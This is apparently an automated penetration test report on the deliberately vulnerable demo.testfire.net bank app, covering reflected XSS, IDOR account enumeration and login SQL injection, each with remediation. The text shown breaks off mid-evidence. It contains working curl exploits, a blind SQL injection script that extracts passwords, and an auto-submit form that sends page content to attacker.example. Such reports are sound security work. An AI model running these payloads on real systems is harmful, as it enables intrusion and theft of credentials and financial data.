FlawFind
REDEMPTIO CORP · DUNS 353551101 · 66 Rue Boudjmaa Moghni, Hussein Dey, Alger, Algeria · contact@flawfind.ai

PENETRATION TEST REPORT

Security Assessment

demo.testfire.net

TARGET	demo.testfire.net
RUN	demo-testfire-net_52a3
SCAN MODE	deep
STATUS	interrupted
STARTED	2026-09-15 23:53 UTC
COMPLETED	2026-09-16 01:14 UTC
DURATION	1h 20m 45s

CONFIDENTIAL

Executive Summary

1	2	10	2
CRITICAL	HIGH	MEDIUM	LOW

15 total findings across this assessment.

Findings

1. Reflected Cross-Site Scripting (XSS) in search.jsp query parameter

MEDIUM

CVSS 6.1 **Target** https://demo.testfire.net **Endpoint** /search.jsp **Method** GET

DESCRIPTION

The `query` parameter of `/search.jsp` is reflected into the HTML response without context-aware output encoding, so a crafted link executes arbitrary script in the origin's context. No authentication is required to deliver the payload.

IMPACT

An attacker who induces a victim to open a crafted URL executes arbitrary JavaScript in the `demo.testfire.net` origin. This allows theft of page content, silent same-origin actions performed as the victim (including state-changing requests), credential-harvesting overlays, and defacement of the rendered page. The `JSESSIONID` cookie is HttpOnly, but the injected script still runs in the authenticated origin and can read the DOM, submit authenticated requests, and exfiltrate application data.

TECHNICAL ANALYSIS

`search.jsp` writes the raw value of the `query` request parameter directly into the response body inside an HTML text node (within a `<div>`/`<p>` block) without HTML-entity encoding. Because the surrounding context is HTML markup rather than a quoted attribute or a JavaScript string, injecting a tag such as `<img src=x onerror=...>` produces a real element that executes script. A benign probe (`query=XSSMARKER123`) is echoed verbatim, and an injection probe (`<img src=x onerror=...>`) appears as a live element in the DOM. The response carries no `Content-Security-Policy`, so inline event handlers run unrestricted.

PROOF OF CONCEPT

1. Request `/search.jsp?query=<payload>` with an HTML-executable payload in `query`.
2. Observe the payload reflected verbatim into the response body without encoding.
3. Load the URL in a browser and confirm the injected event handler executes (the page title changes to the value set by the payload).
4. The unauthenticated request and its response are the exploit exchange; a benign query is the control exchange.

POC SCRIPT

```
# Control (benign) request
curl -sk "https://demo.testfire.net/search.jsp?query=XSSMARKER123"

# Exploit request — reflected verbatim, executes in the browser
curl -sk "https://demo.testfire.net/search.jsp?query=%3Cimg%20src%3Dx%20onerror%3Ddocument.title%
3D%27XSSPROOF%27%3E"
```

Payload delivered to the victim:

```html
https://demo.testfire.net/search.jsp?query=<img src=x onerror=document.title='XSSPROOF'>
```

EVIDENCE

````
The benign value is echoed verbatim in the response body:

```html
<p>No results were found for the query:<br /><br />
XSSMARKER123
</div>
```

The injection payload is reflected as an executable HTML element:

```html
<p>No results were found for the query:<br /><br />
<img src=x onerror=alert(1)>
</div>
```

Browser confirmation — the injected handler ran and set the document title:

```
$ agent-browser eval "document.title"
"XSSPROOF"
```

DOM confirmation — the payload is a live `<img>` element, not escaped text:

```html
<img src="x" onerror="document.title='XSSPROOF'">
```

Response headers show no CSP and no `X-Frame-Options`:

```
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=...; Path=/; Secure; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
```
````

REMEDIATION

Apply context-aware output encoding to every value written into the HTML response. Encode `<`, `>`, `&`, `"`, and `'` as HTML entities before rendering the `query` parameter (for example with a JSP `<c:out>` tag or `StringEscapeUtils.escapeHtml4`). Prefer a templating engine that escapes by default over direct string concatenation. As defense in depth, deploy a restrictive `Content-Security-Policy` that disallows inline script and inline event handlers, and set `X-Content-Type-Options: nosniff`.

2. Reflected Cross-Site Scripting (XSS) in serverStatusCheckService.jsp HostName parameter

MEDIUM

CVSS 6.1 **Target** https://demo.testfire.net **Endpoint** /util/serverStatusCheckService.jsp **Method** GET

DESCRIPTION

`/util/serverStatusCheckService.jsp` returns an HTML document (`text/html`) that embeds the raw `HostName` request parameter into a JSON string without encoding. Navigating to a crafted URL

breaks out of the JSON string and executes arbitrary script in the origin, with no authentication required.

IMPACT

Because the endpoint is anonymously reachable and served as `text/html`, a single link executes attacker-controlled JavaScript in the `demo.testfire.net` origin. An attacker can use this for session-token harvesting (via same-origin requests), phishing overlays, or driving authenticated actions on behalf of a logged-in victim who opens the link.

TECHNICAL ANALYSIS

The JSP builds a JSON response by string-interpolating the `HostName` parameter: the body is `{ "HostName": "<value>", "HostStatus": "OK" }`. The value is not encoded for either JSON or HTML, and the response is emitted with `Content-Type: text/html;charset=ISO-8859-1`. When a browser navigates directly to the endpoint, it parses the body as HTML; the injected `<` terminates the JSON text and introduces a live HTML element (e.g. `<img src=x onerror=...>`), whose handler executes. The endpoint is also consumed by `status_check.jsp` via XHR and written into an `innerHTML` sink, but direct navigation alone is sufficient to trigger the flaw.

PROOF OF CONCEPT

1. Request `/util/serverStatusCheckService.jsp?HostName=<payload>` with an HTML-executable payload.
2. Observe the response is served as `text/html` with the payload reflected unencoded inside the JSON `HostName` field.
3. Open the URL in a browser and confirm the injected handler executes (document title changes).
4. A request with a benign `HostName` value (e.g. `AltoroMutual`) serves as the control.

POC SCRIPT

```
# Control (benign) request
curl -sk "https://demo.testfire.net/util/serverStatusCheckService.jsp?HostName=AltoroMutual"

# Exploit request — response Content-Type is text/html, payload executes on navigation
curl -sk "https://demo.testfire.net/util/serverStatusCheckService.jsp?HostName=%3Cimg%20src%3Dx%20onerror%3Ddocument.title%3D%27UTILXSS%27%3E"
```

Victim link:

```html
https://demo.testfire.net/util/serverStatusCheckService.jsp?HostName=<img src=x onerror=document.title='UTILXSS'>
```

EVIDENCE

Response is served as HTML and reflects the payload unencoded:

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
```

```json
{
"HostName": "<img src=x onerror=document.title='UTILXSS'>",
"HostStatus": "OK"
```

````
}
```

Browser confirmation — the injected handler ran on direct navigation:

```
$ agent-browser eval "document.title"
"UTILXSS"
$ agent-browser eval "document.querySelectorAll('img').length"
"1" # the payload was parsed as a live <img> element (src=x)
```

A benign request returns the same document shape with the literal value:

```json
{
"HostName": "AltoroMutual",
"HostStatus": "OK"
}
```

No `Content-Security-Policy`, `X-Frame-Options`, or `X-Content-Type-Options` header is present.
````

REMEDIATION

Serve this data-only endpoint with a non-executable content type such as `application/json`, and encode the `HostName` value for its output context (JSON-encode and HTML-encode special characters) rather than interpolating it into the payload string. Do not reflect arbitrary user input into the status document; where a status check is required, constrain `HostName` to a validated allowlist. Add `X-Content-Type-Options: nosniff` and a restrictive `Content-Security-Policy` as defense in depth.

3. Reflected Cross-Site Scripting (XSS) in bank/queryxpath.jsp query parameter

MEDIUM

CVSS 5.4 **Target** https://demo.testfire.net **Endpoint** /bank/queryxpath.jsp **Method** GET

DESCRIPTION

The `query` parameter of `/bank/queryxpath.jsp` is reflected into a quoted HTML attribute value without encoding. A payload that supplies its own closing double quote breaks out of the attribute and injects executable HTML, confirmed to run in an authenticated browser session.

IMPACT

A logged-in user who opens a crafted link executes attacker-controlled JavaScript in the `demo.testfire.net` origin while authenticated. The injected script can perform any action the victim's session permits — including account operations (transfers, balance/transaction viewing) and reading page content — and can exfiltrate that data to an attacker-controlled host.

TECHNICAL ANALYSIS

In `queryxpath.jsp` (the "Search News Articles" page), the search term is written into the value of an HTML form field: `<input type="text" id="query" name="query" width=450`
````

`value="<query>"/>`. The value is not HTML-attribute encoded. Because the injected text sits inside a double-quoted attribute, a payload beginning with `">` closes the attribute and the `<input>` tag, after which following markup is parsed as HTML. A payload of `"><img src=x onerror=...>` therefore introduces a live element whose handler executes. The parameter is reachable only with an authenticated session (an anonymous request is redirected to `login.jsp`).

PROOF OF CONCEPT

1. Authenticate as a valid user (e.g. `jsmith / demo1234`) to obtain a `JSESSIONID`.
2. Request `/bank/queryxpath.jsp?content=queryxpath.jsp&query=<payload>` where the payload starts with `">` to escape the attribute.
3. Observe the response breaks out of `value="..."` and injects the element.
4. Load the URL in the authenticated browser and confirm the injected handler executes (document title changes).
5. A benign query (e.g. `Watchfire`) is the control exchange.

POC SCRIPT

```
# Authenticate to obtain a session cookie
curl -sk -c /tmp/cj.txt -d "uid=jsmith&passw=demo1234" https://demo.testfire.net/doLogin

# Control (benign) query
curl -sk -b /tmp/cj.txt
"https://demo.testfire.net/bank/queryxpath.jsp?content=queryxpath.jsp&query=Watchfire"

# Exploit — the leading "> breaks out of the value="..." attribute
curl -sk -b /tmp/cj.txt "https://demo.testfire.net/bank/queryxpath.jsp?content=queryxpath.jsp&que
ry=%22%3E%3Cimg%20src%3Dx%20onerror%3Ddocument.title%3D%27QXPROOF%27%3E"
```

Victim link (attacker-supplied; requires the victim to be authenticated):

```html
https://demo.testfire.net/bank/queryxpath.jsp?content=queryxpath.jsp&query="><img src=x
onerror=document.title='QXPROOF'>
```

EVIDENCE

Benign query is reflected inside the attribute (no breakout):

```html
<input type="text" id="query" name="query" width=450 value="Watchfire"/>
```

Injection payload is reflected, breaking out of the attribute:

```html
<input type="text" id="query" name="query" width=450 value=""><img src=x
onerror=document.title='QXPROOF'>"/>
```

Browser confirmation in an authenticated session — the injected handler ran:

```
$ agent-browser eval "location.pathname"
"/bank/queryxpath.jsp"
$ agent-browser eval "document.title"
"QXPROOF"
```

```

DOM confirmation — the `<input>` attribute was closed and the element injected:

```html
<input type="text" id="query" name="query" width="450" value="">
```
```

REMEDIATION

HTML-attribute-encode the `query` value before inserting it into the `value="..."` attribute: encode at minimum `"`, `'`, `<`, `>`, and `&`. Prefer `<c:out>` or an equivalent auto-escaping construct, and always quote attributes. Note that a payload without `"` does not escape the attribute, so the raw `</>` must also be encoded to prevent the escape sequence from working. Add a restrictive `Content-Security-Policy` and `X-Content-Type-Options: nosniff` as defense in depth.

4. Reflected Cross-Site Scripting (XSS) in sendFeedback name and email parameters

MEDIUM

CVSS 6.1 **Target** https://demo.testfire.net **Endpoint** /sendFeedback **Method** POST

DESCRIPTION

`POST /sendFeedback` reflects the `name` and `email_addr` form fields into the "Thank You" confirmation page without HTML encoding. A cross-site form submission delivers a payload that executes in the origin of `demo.testfire.net`, unauthenticated.

IMPACT

An attacker who hosts a page that auto-submits a form to `/sendFeedback` causes the victim's browser to render the confirmation page with injected script executing in the `demo.testfire.net` origin. This enables same-origin actions (including authenticated ones if the victim has a session), data exfiltration, and phishing overlays. The submission endpoint requires no authentication.

TECHNICAL ANALYSIS

`sendFeedback` echoes the submitted `name` and `email_addr` values into its HTML confirmation page: `Thank you for your comments, <name>.` and `Our reply will be sent to your email: <email_addr>`. Neither value is HTML-encoded, so a value containing a tag (e.g. `<img src=x onerror=...>`) is emitted as live markup and executes when the response is rendered. Because the endpoint accepts a cross-site POST with no anti-CSRF token, an attacker-hosted form can trigger the response in the victim's browser with an arbitrary payload.

PROOF OF CONCEPT

1. Submit a POST to `/sendFeedback` with a payload in `name` (and optionally `email_addr`), including the required `cfile`, `subject`, and `comments` fields.
2. Observe the "Thank You" response echoes the payload unencoded.
3. In a browser, submit the form (or auto-submit it from an attacker page) and confirm the injected handler executes.
4. A submission with benign values is the control exchange.

POC SCRIPT

```
# Control (benign) submission
curl -sk -X POST https://demo.testfire.net/sendFeedback \
-d "cfile=comments.txt" -d "name=John Smith" -d "email_addr=john@example.com" \
-d "subject=Question" -d "comments=Hello"

# Exploit submission (unauthenticated) — name/email reflected unencoded
curl -sk -X POST https://demo.testfire.net/sendFeedback \
--data-urlencode "cfile=comments.txt" \
--data-urlencode "name=<img src=x onerror=document.title='FBPROOF'>" \
--data-urlencode "email_addr=<svg onload=document.title='FBMAIL'>" \
-d "subject=s" -d "comments=c"
```

Attacker-hosted auto-submit page:

```html
<form id="f" action="https://demo.testfire.net/sendFeedback" method="POST">
<input name="cfile" value="comments.txt">
<input name="name" value="<img src=x
onerror=fetch('//attacker.example/'+document.body.innerHTML)>">
<input name="email_addr" value="a@b.com">
<input name="subject" value="s">
<input name="comments" value="c">
</form>
<script>document.getElementById('f').submit();</script>
```

EVIDENCE

Benign submission is echoed as text:

```html
<p>Thank you for your comments, John Smith. They will be reviewed by our Customer Service staff
...</p>
```

Injection payload is reflected unencoded:

```html
<p>Thank you for your comments, <img src=x onerror=document.title='FBNAME'>. They will be reviewed
by our Customer Service staff ...</p>
```

The same reflection occurs unauthenticated (no session cookie sent):

```html
<p>Thank you for your comments, <img src=x onerror=document.title='UNAUTHFB'>. They will be
reviewed by our Customer Service staff ...</p>
```

Browser confirmation — the form was submitted in a real browser and the injected handler ran on the resulting page:

```
$ agent-browser eval "location.pathname"
"/sendFeedback"
$ agent-browser eval "document.title"
"FBPROOF"
```

REMEDIATION

HTML-encode the `name` and `email_addr` values before writing them into the confirmation page (encode at least `<`, `>`, `&`, `"`, `'`), using an auto-escaping template tag rather than string concatenation. Treat all submitted form fields as untrusted output. Add `Content-Security-Policy` and `X-Content-Type-Options: nosniff` headers as defense in depth.

5. Broken Object-Level Authorization (IDOR) on bank account objects — REST API and web UI

MEDIUM

CVSS 6.5 **Target** https://demo.testfire.net **Endpoint** /api/account/{accountNo} **Method** GET

DESCRIPTION

The bank's account endpoints accept an account number supplied by the caller and return the account's balance and transaction history without verifying that the account belongs to the authenticated user. Any authenticated customer can read any other customer's account by changing the account number, through both the REST API (`/api/account/{accountNo}`) and the web interface (`/bank/showAccount`, `/bank/showTransactions`).

IMPACT

An authenticated low-privilege user can read the balances and complete transaction history of accounts they do not own, including an account held by the administrator's principal. Account numbers are sequential, so the entire account namespace can be enumerated with a simple loop. This exposes customers' financial data (balances, credits, debits, dated transaction descriptions) across the whole account range, and in the tested instance included the administrator's corporate account.

TECHNICAL ANALYSIS

Two interfaces expose the same defect: an authenticated subject is bound to the request but the requested object is never bound to that subject.

REST API. `GET /api/account/{accountNo}` and `GET /api/account/{accountNo}/transactions` require a valid `Authorization: Bearer <token>` header but perform no ownership check on `{accountNo}`. The sibling collection endpoint `GET /api/account` is documented in the exposed API specification as "Returns a list of all the accounts owned by the user", which establishes that the application models account ownership and can resolve the caller's own accounts — but the item-level endpoints do not apply that same binding. An out-of-range account (e.g. `999999`) returns HTTP 500, confirming the identifier is used directly against the data store.

Scope note established by testing: the *date-ranged* `POST /api/account/{accountNo}/transactions` variant does not leak data — with the same low-privilege token it returns HTTP 200 and transaction data only for accounts the caller owns (`800003`, `800015`), and returns HTTP 500 with no data for accounts outside that set (`800000`, `800001`, `800009`) and for a non-existent account (`999999`). It therefore fails closed. The read exposure is confined to the two `GET` API endpoints and the two web handlers described here, which is consistent with an item-level authorization check that exists on one code path but is missing from the others.

Web UI. `GET /bank/showAccount?listAccounts=<accountNo>` and `POST /bank/showTransactions` (`accountno`, `startDate`, `endDate`) behave identically to the vulnerable

API paths: the session is required, but the supplied account number is not validated against the accounts listed for that session in the application's own `AltoroAccounts` cookie and account summary.

For the low-privilege user `jsmith`, the account collection returns 15 accounts (`800002`, `800003`, `4539082039396288`, `800011`, `800013`–`800021`, `800024`, `800030`). Despite this, `jsmith` retrieves full data for `800000`, `800001` and 15 further accounts in the `800000`–`800030` range that are absent from that list. `800000` and `800001` are listed under the `admin` principal's own account collection, so the exposure crosses a privilege boundary as well as a user boundary.

PROOF OF CONCEPT

1. Authenticate as the low-privilege user `jsmith` (`demo1234`) via `POST /api/login` and retain the returned Bearer token.
2. Establish the baseline: call `GET /api/account` with the token and record the account numbers the user actually owns. `800000` is not among them.
3. Exploit: call `GET /api/account/800000` with the same token. The response returns that account's balance and full credit/debit history with HTTP 200.
4. Repeat across `800000`–`800030`; 17 accounts not present in the user's own list return complete data.
5. Control: call `GET /api/account/800000` with no token — the request is rejected with HTTP 401, showing authentication is enforced while object-level authorization is not.
6. Cross-principal check: authenticate as the `admin` principal and call `GET /api/account`; `800000` appears in that principal's account list.
7. Web UI: authenticate at `POST /doLogin` as `jsmith` (JSESSIONID), then request `GET /bank/showAccount?listAccounts=800000`. The page renders "Account History - 800000" with the same balance, although `800000` is not one of the accounts shown for the session. `POST /bank/showTransactions` with `accountno=800000` likewise returns that account's transactions.

POC SCRIPT

```
import json
import requests

BASE = "https://demo.testfire.net"
s = requests.Session()

# 1. Low-privilege login
tok = s.post(BASE + "/api/login",
json={"username": "jsmith", "password": "demo1234"},
timeout=20).json()["Authorization"]
H = {"Authorization": "Bearer " + tok}

# 2. Baseline: accounts jsmith actually owns
own = [a["id"] for a in json.loads(
s.get(BASE + "/api/account", headers=H, timeout=20).text)["Accounts"]]
print("owned:", own)

# 3. Exploit: read an account that is not in the owned list
r = s.get(BASE + "/api/account/800000", headers=H, timeout=20)
print("GET /api/account/800000 ->", r.status_code)
print(r.text[:400])

# 4. Enumerate the sequential account range
for n in range(800000, 800031):
rr = s.get(BASE + "/api/account/%d" % n, headers=H, timeout=20)
```

```
if rr.status_code == 200 and str(n) not in own:
print("UNAUTHORIZED READ", n, rr.text[:120])

# 5. Control: same request without a token
print("no-token ->", s.get(BASE + "/api/account/800000", timeout=20).status_code)

# 6. Web UI variant with the jsmith session
w = requests.Session()
w.post(BASE + "/doLogin", data={"uid": "jsmith", "passw": "demo1234"},
allow_redirects=False, timeout=20)
r = w.get(BASE + "/bank/showAccount",
params={"listAccounts": "800000"}, timeout=20)
print("WEB /bank/showAccount?listAccounts=800000 ->", r.status_code,
"Account History - 800000" in r.text)

r = w.post(BASE + "/bank/showTransactions",
data={"accountno": "800000", "startDate": "2026-01-01",
"endDate": "2026-12-31"}, timeout=20)
print("WEB /bank/showTransactions accountno=800000 ->", r.status_code)
```

EVIDENCE

1. Baseline — accounts owned by `jsmith` (`GET /api/account`, HTTP 200): `800000` is absent.

```json
{"Accounts":
[
{ "Name" : "Savings", "id": "800002"},
{ "Name" : "Checking", "id": "800003"},
{ "Name" : "Credit Card", "id": "4539082039396288"},
{ "Name" : "Checking", "id": "800011"},
... { "Name" : "IRA", "id": "800030"}
]}
```

2. Exploit — `GET /api/account/800000` with the `jsmith` token (HTTP 200):

```json
{"accountId":"800000","balance":"$99999999900000000000000000000000000000000000.00","credits":[{"dat
e":"2004-12-29","amount":"1200","description":"Paycheck","account":"1001160140"},
...],"debits":[{"date":"2005-01-17","amount":"2.85","description":"Withdrawal",
...}],"last_10_transactions":[...]}
```

3. Control — same URL with no token (HTTP 401):

```
HTTP/1.1 401 Unauthorized
loggedIn=false
Please log in first
```

4. Enumeration — `GET /api/account/{n}` for `n` in `800000`–`800030`: 17 accounts absent from the caller's own list returned HTTP 200 with balances, e.g. `800001` → `$998920400618.48`, `800009` → `$1378655470.01`, `800015` → `$10000000000000000000000000000000000.00`. `GET /api/account/800001/transactions` returned that account's dated transaction history.

5. Other principal's account list (`GET /api/account` as `admin`, HTTP 200): `800000` is present as `{ "Name" : "Corporate", "id": "800000"}`.

6. Web UI exploit with the `jsmith` JSESSIONID (`GET /bank/showAccount?listAccounts=800000`, HTTP 200):

```html
<h1>Account History - 800000</h1>
...
<td>Ending balance as of 9/15/26 7:21 PM $999999999000000000000000000000000000000000.00</td>
```

`POST /bank/showTransactions` with `accountno=800000` returned that account's recent transactions under the same session.

REMEDIATION

Bind every account reference to the authenticated subject on the server side. On each request that takes an account number, resolve the caller's permitted account set from the session/token principal and reject the request when the requested account is not a member of that set, returning 403 (or 404 to avoid confirming existence). Apply this uniformly to the REST controllers behind `/api/account/{accountNo}` and `/api/account/{accountNo}/transactions` and to the web handlers behind `/bank/showAccount` and `/bank/showTransactions`, rather than relying on the account list rendered in the UI. Prefer a single shared authorization helper so the rule cannot drift between the API and the web layer, and add regression tests that assert a second user's account number is rejected on every one of these endpoints.

6. SQL Injection in POST /api/login and POST /doLogin: Authentication Bypass and Credential Exfiltration

HIGH

CVSS 7.5 **Target** https://demo.testfire.net **Endpoint** /api/login **Method** POST

DESCRIPTION

Both authentication entry points build their credential-check SQL by string concatenation, so an unauthenticated attacker can inject SQL into the submitted username or password. Injecting `admin'--` into the web login yields an administrator session, and injecting `' OR 1=1--` into the REST login yields a bearer token that returns every bank account in the database. The same injection is a reliable Boolean blind channel: the `PEOPLE` credential table was enumerated and the `admin` password and role were recovered and used to authenticate successfully, demonstrating full account takeover from an unauthenticated position.

IMPACT

An unauthenticated remote attacker can read arbitrary data from the backend Apache Derby database through the injectable login query. Because the endpoint returns a dependable success/failure oracle, an injected predicate can be evaluated as a Boolean blind channel and table contents recovered character by character without any credentials.

Demonstrated consequences:

- The `PEOPLE` credential table was enumerated — 152 rows — and account passwords were recovered in plaintext form, including `admin` -> `admin_hacked` (role `admin`), `jsmith` -> `demo1234` (role `user`), `jdoe`, `sspeed`, `tuser`, `hackerman` and `attadmin`.

- The recovered administrator credential authenticates successfully to both `POST /api/login` (HTTP 200 with a bearer token) and the legacy `POST /doLogin` (HTTP 302 to `/bank/main.jsp`), giving the attacker the administrator's identity.
- The token derived from the recovered credential returns the administrator's bank accounts (`800000` Corporate, `800001`, `800009`), which do not belong to the attacker, and the web session reaches the administrative area (`/admin/admin.jsp`, HTTP 200).
- Every column of `PEOPLE` is readable through the same channel, including `ROLE`, `MFA_ENABLED`, `TOTP_SECRET`, `FIRST_NAME` and `LAST_NAME` — i.e. the multi-factor enrolment state and second-factor seeds are exposed alongside the passwords.

The deployed instance is a deliberately-vulnerable demonstration populated with synthetic accounts, which limits the real-world sensitivity of the data exposed today; the authentication defect and the data-exfiltration capability are genuine and complete.

TECHNICAL ANALYSIS

The credential check is implemented as string-concatenated SQL executed against the embedded Apache Derby database (the backend is identifiable from its error text, e.g. `Lexical error at line 1, column 51. Encountered: "#" (35)`). Both `POST /api/login` (JSON `{"username","password"}`) and `POST /doLogin` (form `uid`,`passw`) pass the submitted values straight into that statement.

The statement shape was reconstructed from Derby parse-error offsets and from system-catalog queries:

```
SELECT <one column> FROM PEOPLE WHERE USER_ID='<username>' AND PASSWORD='<password>'
```

- `ORDER BY 2` returns `Column position '2' is out of range for the query expression`, so the select list contains exactly one column.
- The character offset reported for a deliberately malformed literal advances exactly one position for each character of the username, and the password literal begins at a fixed later offset, matching the layout above.
- The login identifier column is `USER_ID` (a character column holding the account name), not `USERNAME`: `EXISTS(SELECT 1 FROM PEOPLE WHERE LOWER(USER_ID)='jsmith' AND LOWER(PASSWORD)='demo1234')` is true, while the equivalent test against `FIRST_NAME`, `LAST_NAME`, `ROLE`, `PASSWORD` or `TOTP_SECRET` is false.
- The `PEOPLE` column list was read from `SYS.SYSCOLUMNS`: `FIRST_NAME`, `LAST_NAME`, `MFA_ENABLED`, `PASSWORD`, `ROLE`, `TOTP_SECRET`, `USER_ID`.

The application lower-cases the submitted username and password before assembling the statement. This is observable both from the issued token (which decodes to `base64(lower-cased username):base64(lower-cased password):<suffix>`) and from the behaviour of injected literals (`'PEOPLE'='people'` evaluates true). Because the token encodes only attacker-supplied input and not the database row, it cannot be used to reflect database values; exfiltration therefore uses the response differential.

Authentication is a reliable Boolean oracle:

```
POST /api/login HTTP/1.1
Content-Type: application/json

{"username": "' OR (1=1)-- ", "password": "x"} -> HTTP 200 + token
```

```
{"username": "' OR (1=2)-- ", "password": "x"} -> HTTP 400 {"error":"We're sorry, but this
username or password was not found in our system."}
```

A malformed statement instead returns the raw Derby parser message, confirming the input reaches the SQL parser. Completing the comment operator with a space (`-- `) is required. The injection is turned into extraction primitives by comparing scalar subqueries: `LENGTH(<subquery>)` recovers string lengths and `LOWER(SUBSTR(<subquery>,i,1)) > '<char>'` supports a binary search over printable characters. The application's lower-casing of injected literals is handled by probing only characters unaffected by the fold.

Extraction results: `PEOPLE` holds 152 rows. Recovered credentials include `admin` -> `admin_hacked` (role `admin`), `jsmith` -> `demo1234` (role `user`, matching the known-good credential for that account), `jdoe` -> `pentestv1!x`, `sspeed` -> `speed123!`, `tuser` -> `newp@ss123`, `hackerman` -> `hack123!` and `attadmin` -> `p@ssw0rd123`. The recovered administrator credential was used to authenticate, confirming the exfiltration is accurate and immediately operationally useful. Because the password comparison is case-insensitive, the case-folded values recovered authenticate as-is.

Apache Derby does not support stacked statements, so no data modification or command execution was demonstrated through this injection; the demonstrated impact is unauthorised disclosure.

PROOF OF CONCEPT

1. Confirm the oracle: `POST /api/login` with `{"username":"jsmith","password":"wrongpass"}` returns HTTP 400, while `{"username":"' OR 1=1-- ","password":"whatever"}` returns HTTP 200 with a bearer token.
2. Confirm the predicate toggles: `{"username":"' OR (1=1)-- ","password":"x"}` returns HTTP 200 and `{"username":"' OR (1=2)-- ","password":"x"}` returns HTTP 400.
3. Confirm the backend reachable through the injection by reading system catalogs, e.g. `' OR (LENGTH((SELECT MIN(COLUMNNAME) FROM SYS.SYSCOLUMNS WHERE REFERENCEID=(SELECT TABLEID FROM SYS.SYSTABLES WHERE LOWER(TABLENAME)='people'))) >= 1)--` returns HTTP 200.
4. Recover string values character by character, for example `' OR (LOWER(SUBSTR((SELECT MIN(PASSWORD) FROM PEOPLE WHERE LOWER(USER_ID)='admin'),1,1))='a')--` returns HTTP 200 when the first character of the administrator password folds to `a`.
5. Run the supplied script to enumerate the row count and recover the credentials of the accounts of interest.
6. Authenticate with the recovered administrator credential: `POST /api/login` with `{"username":"admin","password":"admin_hacked"}` returns HTTP 200 and a bearer token.
7. Use that token on `GET /api/account` (`Authorization: Bearer <token>`) to receive HTTP 200 with the administrator's accounts `800000`, `800001` and `800009`.
8. Confirm the same credential works on the legacy interface: `POST /doLogin` with `uid=admin&passw=admin_hacked` returns HTTP 302 with `Location: /bank/main.jsp`.

POC SCRIPT

```
#!/usr/bin/env python3
"""
Blind Boolean SQL-injection extraction against the AltoroJ login
```

```
(POST /api/login). Read-only: no account, balance or credential is modified.

Vulnerable statement (reconstructed from Apache Derby parse-error offsets):
SELECT <one column> FROM PEOPLE WHERE USER_ID='<username>' AND PASSWORD='<password>'

The application lower-cases the submitted credentials before assembling the
statement, so injected SQL string literals are folded to lower case. The
extractor therefore compares LOWER() values and returns case-folded strings;
those still authenticate because the password comparison is case-insensitive.
"""
import json
import requests
requests.packages.urllib3.disable_warnings()

BASE = "https://demo.testfire.net"
S = requests.Session()
S.verify = False


def oracle(cond):
"""True when the injected predicate resolves a row (HTTP 200), else False."""
payload = "' OR (%s)-- " % cond # '-- ' comments out the rest of the predicate
r = S.post(BASE + "/api/login",
json={"username": payload, "password": "x"}, timeout=30)
if r.status_code == 200:
return True
if r.status_code == 400 and "not found in our system" in r.text:
return False
raise RuntimeError("unexpected response: %s %s" % (r.status_code, r.text[:200]))


def lit(s):
return "'" + s.replace("'", "''") + "'"


# probe thresholds that survive the application's lower-casing (no A-Z)
PROBES = (list(range(32, 65)) + list(range(91, 97)) +
list(range(97, 123)) + list(range(123, 127)))


def extract(expr, maxlen=32):
"""Recover LOWER(<expr>) one character at a time via binary search."""
expr = "(%s)" % expr
out = []
for i in range(1, maxlen + 1):
if not oracle("LENGTH(%s) >= %d" % (expr, i)):
break
lo, hi = 0, len(PROBES) - 1
while lo < hi:
mid = (lo + hi) // 2
if oracle("LOWER(SUBSTR(%s,%d,1)) > %s" % (expr, i, lit(chr(PROBES[mid])))):
lo = mid + 1
else:
hi = mid
out.append(chr(PROBES[lo]))
return "".join(out)


def row_count():
hi = 1
while oracle("(SELECT COUNT(*) FROM PEOPLE) > %d" % hi):
hi *= 2
```

```
lo = 0
while lo < hi:
mid = (lo + hi) // 2
if oracle("(SELECT COUNT(*) FROM PEOPLE) > %d" % mid):
lo = mid + 1
else:
hi = mid
return lo


def api_login(username, password):
r = S.post(BASE + "/api/login",
json={"username": username, "password": password}, timeout=30)
return r.status_code, r.text


if __name__ == "__main__":
# the oracle toggles with the predicate
assert oracle("1=1") is True
assert oracle("1=2") is False

print("PEOPLE rows:", row_count())

creds = {}
for user in ["admin", "jsmith", "jdoe", "sspeed", "tuser", "hackerman", "attadmin"]:
w = lit(user)
pw = extract("(SELECT MIN(PASSWORD) FROM PEOPLE WHERE LOWER(USER_ID)=%s)" % w)
role = extract("(SELECT MIN(ROLE) FROM PEOPLE WHERE LOWER(USER_ID)=%s)" % w)
creds[user] = pw
print("user=%-10s password=%-14r role=%r" % (user, pw, role))

# prove the extraction: authenticate with the recovered administrator password
status, body = api_login("admin", creds["admin"])
print("login admin/%s -> %s" % (creds["admin"], status))
if status == 200:
token = json.loads(body)["Authorization"]
r = S.get(BASE + "/api/account",
headers={"Authorization": "Bearer " + token}, timeout=30)
print("GET /api/account ->", r.status_code, r.text[:200])
```

EVIDENCE

The injectable credential query is a reliable Boolean oracle. A predicate that resolves no row is refused exactly like a wrong password, confirming success is conditional on the injected condition rather than a stub:

```http
POST /api/login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": "zzz_not_the_pw"}

HTTP/1.1 400 Bad Request
{"error":"We're sorry, but this username or password was not found in our system."}
```

```http
POST /api/login HTTP/1.1
Content-Type: application/json

{"username": "' OR (LOWER(SUBSTR((SELECT MIN(PASSWORD) FROM PEOPLE WHERE
LOWER(USER_ID)='admin'),1,1))='a')-- ", "password": "x"}
```

```
HTTP/1.1 200 OK # first character of the admin password folds to 'a'
```

```http
POST /api/login HTTP/1.1
Content-Type: application/json

{"username": "' OR (LOWER(SUBSTR((SELECT MIN(PASSWORD) FROM PEOPLE WHERE
LOWER(USER_ID)='admin'),1,1))='z')-- ", "password": "x"}

HTTP/1.1 400 Bad Request # the same predicate with a non-matching character
```

The `PEOPLE` table was enumerated through this channel via `SYS.SYSCOLUMNS` and `SYS.SYSTABLES`, yielding the columns `FIRST_NAME`, `LAST_NAME`, `MFA_ENABLED`, `PASSWORD`, `ROLE`, `TOTP_SECRET`, `USER_ID`, and 152 rows. Recovered values (case-folded; the comparison is case-insensitive so these authenticate):

```text
user=admin password='admin_hacked' role='admin'
user=jsmith password='demo1234' role='user'
user=jdoe password='pentestv1!x' role='user'
user=sspeed password='speed123!' role='user'
user=tuser password='newp@ss123' role='user'
user=hackerman password='hack123!' role='user'
user=attadmin password='p@ssw0rd123' role='user'
```

The recovered administrator credential authenticates and yields an administrator bearer token:

```http
